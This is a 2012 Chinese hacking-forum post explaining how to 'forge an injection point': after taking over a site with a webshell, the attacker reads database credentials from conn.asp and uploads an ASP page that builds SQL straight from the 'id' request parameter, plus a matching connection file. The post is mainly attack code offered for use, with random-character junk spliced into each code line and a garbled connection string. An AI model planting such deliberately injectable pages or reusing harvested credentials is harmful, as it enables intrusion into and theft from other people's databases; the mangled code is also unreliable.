找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1762|回复: 0
打印 上一主题 下一主题

伪造注入点方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:08 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
$ h5 a9 ^2 r3 D/ a( w9 y2 ]ASP/Visual Basic代码: r. e, n+ L- a2 W& u6 m
<!--#include file="xx.asp"-->   
% k0 _  A: N# h4 |5 f: |0 f<%   
& V) I5 ~1 ?! F2 c( wset rs=server.createobject("ADODB.recordset")    # l& b* g, F! n; q
id = request("id")   
: }( P; W# _) |$ O% y( N: ^7 b# x  \strSQL = "select * from admin where id=" & id   
6 w! R: l% f1 X3 h2 e' irs.open strSQL,conn,1,3   
# f5 R( }: y# V. R/ Frs.close   
: k* P1 ]: z2 q%>  6 N, E2 T- b! M  [) O3 E* U
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!5 p0 v7 N7 E7 t, W
然后就要构造一个连接数据库的文件了,代码如下:
1 o4 r- i: [, M' q& eASP/Visual Basic代码
4 v% H( V; y  b, J; @<%            
6 }! M+ m" b9 r; m) NstrSQLServerName = "000.000.000.000"     '服务器名称或地址    9 l0 y& A4 m/ E/ F
strSQLDBUserName = "sqlname"         '数据库帐号   
# Z$ L# M& P. n1 ~* \- `: F  l: w/ i+ n6 ostrSQLDBPassword = "sqlpass"         '数据库密码   
' c' h3 `1 X% xstrSQLDBName = "sqldataname"           '数据库名称    ( M/ V  `( m) m0 E; k
Set conn = Server.CreateObject("ADODB.Connection")   
+ ?2 C; H5 `# F1 @strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   . ~. J, \6 [( [# t" A2 n7 }0 @
conn.open strCon   
& X4 {) ^1 p; x+ n6 `( [%>  7 C( c& D* E! g8 D5 h
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
( i* H7 |0 O' |( l, N0 g/ A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表